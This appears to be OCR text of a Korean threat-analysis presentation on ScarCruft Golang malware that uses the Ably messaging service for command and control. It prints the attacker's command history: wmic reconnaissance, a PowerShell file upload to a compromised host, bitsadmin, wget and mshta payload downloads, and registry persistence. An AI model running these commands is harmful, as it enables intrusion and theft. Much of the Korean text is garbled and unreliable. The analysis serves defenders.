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[\ ably Platform +  UssCases&Solutions v  Company v  Developsrs~  Pricing Contactus login QO BN

Build mission-critical realtime apps
without crippling infrastructure
overhead.

Explore our documentation | Request demo ‘

Multi-user

PUBLISH JavaSecript = Android Obj-C  Swift NET Ruby Go Pythen Laravel

st channel = ably.channels.get 510,000.00
1.publish('rate', { price: price

Ably(https://ably.com)[2]
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—OC AN
RAT Ably Channel Actor

Open Channel

Get Key 4
Channel connect :Key

4 Channel Connect Session
ID : victim1 Pl
Textdata : HELO
Data name : UP ID : victim1
Textdata : bitsadmin mal.exe
Data name : Down
recv command 4
4
2
ID : victim1

Textdata : mal.exe execution result
Data name : UP

ZZHXH= Ably KL S A ASHT ZIRixte] YRS of 7| BiLict.
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.text:000000000077C71C nop dword ptr [rax+8eh]

.text:00800PRPR077C720 |call github_com_ably_ably go_ably WithKey |

.text:0000000000877C725 mov rax, |rsp+6eh+var_50]

.text:000000000077C72A mov [rsp+6@h+var_10], ©

.text:000000000077C733 mov [rsp+6@h+var_18], rax

.text:000000000077C738 lea rax, [rsp+6@h+var_10]

.text:000000000077C73D mov [rsp+6@h+var_60], rax

.text:000000000077C741 mov [rsp+6@h+var_58], 1

.text:000000000077C74A mov [rsp+6@h+var 5071, 1

.text:000000000077C753 call github_com_ably_ably_go_ably_NewRealtime |

.text:0000000P0077C758 mov rax, qword ptr |rsp+6oh+var_ 48]

.text:000000000077C75D mov rax, [rax+8]

.text:000000000077C761 mov [rsp+6Bh+var_60], rax

.text:000000000077C765 lea rax, unk_835DDC

.text:000000000077C76C mov [rsp+6@h+var_58], rax

.text:000000000077C771 mov [rsp+6@h+var_50], 6

.text:0eeeeeeeee77C77A Xorps  Xmme@, xmme

.text:000000000077C77D movups [rsp+6@h+var_48], xmme

.text:0000008000077C782 mov [rsp+68h+var 381, ©

.text:000000000077C78B [Eall github_com_ably_ably_go_ably___Rea1timechannels__Get]

.text:000000000077C790 mov rax, [rsp+eeh+var_30]

.text:000000000077C795 mov [rsp+6@h+var_18], rax

.text:000000000077C79A lea rcx, unk_7F4B8e

S IE= LHROM 2EE[= Ably API
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000000000084 16E5 “HAEXwg.05c30Q: s1 |
00000000008416F5 tgqPprGjeu0dGNHE
0000000000841705 ADERS frame with
0000000000841715 stream ID OMapI
0000000000841725 ter.Key called b
0000000000841735 efore NextPacifi

Realtime Z22}0|HE

Fa
000000000083 5DDC
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000000000083 5DFC
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A7t BEMO 2 ot Ably 2 2 0| Z(global)
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DOWNDashDateEEST
EtagFromGET GOGC
GoneHos tIMAGINFO
JulyJuneLEAFLisu
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NewaPINGPOSTSAST
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Defend Forward= 2H01X}7} 22 &0l AIEHAl O 2 Afo|] ZZ{of cHS 5t 242 o|n|5ini, 2
2 27| M ME = |22 Sofl 2K} 2| AAE SIIAI7|E S YWoB#ES SHELC)

= =L = Sk © &: = 5 — 5 =
ScarCruft®| WHM|{E ZLIE{ZSt= T LISt Rl MO HHIEE =2l 7ts3i e, I RE
= = = o
2EE0 2 YHAM O 2td F =2t Golang2 2 M| 2HEl Al F AMH[A(Ably) 7[8F HH T ETK| 288t A2
SH S o T AN = o == o=
LAY SLICE O| A2 o2l HENO MA2| +HO| B|FYH ez 2 A2 thASH | flet HE UR
ru — o5 S = = - = Sl= o=l
X|gh 2 A Ao S0| 278 80| chtsty| w20 20| w2t 43 =7 & T Eksto] AFESh=
Hoz et
— =G0 Go lang malware based Command History
> wmic logicaldisk get caption,size,freespace
> wmic nicconfig where IPEnabled=True get ipaddress
> wmic OS get Caption,CSDVersion,OSArchitecture, Version
: gilzumemry’c s %computernamed% | findstr /c:"Model:" /c:"Host Name" /c:"0S Name" gz%
i ;i‘:‘:_'\su\s‘ers\p'u;IE\\‘;’;:E\‘:“""“\"‘“"'"' > powershell (New-Object System.Net WebClient).UploadFile(hxxp:/[compromisec x ini) |
> reg add HKCU\SOFT i v msinfos /d °C: " If | myvnc
ot A= (x86) M|
> bitsadmin transfer mm hxxp:/7! I drc an
> bitsadmin /transfer mm hxxp://| d he i-myvnc-win10.
c:\users\public\myvnc\mfc42u.dil
Chinotto
oyaE | xa4 gl /4
Y M
v jscript-powershell
Butd opyac wx|
> mshta hxxp://[c m ost]/data/3 html
> bitsadmin /transfer mmm hxxp://| promi he dllc: 42udll
> bitsadmin /transfer mmm hxxp://[cor or hos / KUP_****.dIl dil
> copy 2. VNC
> C:\Users\Public\msinfo32.exe
> powershell wget -ur hexp/[cormprormised host/Data/000/CKUP_*** dil -outfile c\users\publiclibrariesleve dl i e e e o
> bitsadmin /transfer mmm hxxp://[cor ini
> C:\users\public\winvnc.exe
File Name Description comment
o = T
CKUP_****dll YERE L HBMO(23E HX, 7IZZ S) PE

Second.ini PowerShell 7|2t B4 24 X{|0{ 7| GO BASE PE

3.html Second.ini 2 S 7| JScript
myvnc.dil Second.ini 2 S 7| PE
a.ini Ultra VNC 23 M~ mpel Setting file

b.ini UltraVNC Server Property Page PE
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2 Z 271(°22.10.18 16:57:35~22.12.21 02:16:35, 78,8342}21, 5.9MB, 187} Z+17|7])
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Command History

3:00:00 AM
12:00:00 AM -~
9:00:00 PM o ®* * ' °
6:00:00 PM t' ° & = 8
t ¢ g g = @
3:00:00 PM ® o0 %i
i K
12:00:00PM ® & L] 9
'3' ® et $. ®
9:00:00 AM s §&, e & oo
6:00:00 AM
3:00:00 AM

10/16 10/26 11/5 11/15 11/25 12/5 12/15 12/25

® weekday ® weekend

Command History

B weekday B weekend

12:00:00 AM
9:36:00 PM
7:12:00 PM
4:48:00 PM
2:24:00 PM

12:00:00 PM
9:36:00 AM
7:12:00 AM
4:48:00 AM
2:24:00 AM

12:00:00 AM
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ping HH 02| =MA|ZtOt A K| AER| S5 gt
S
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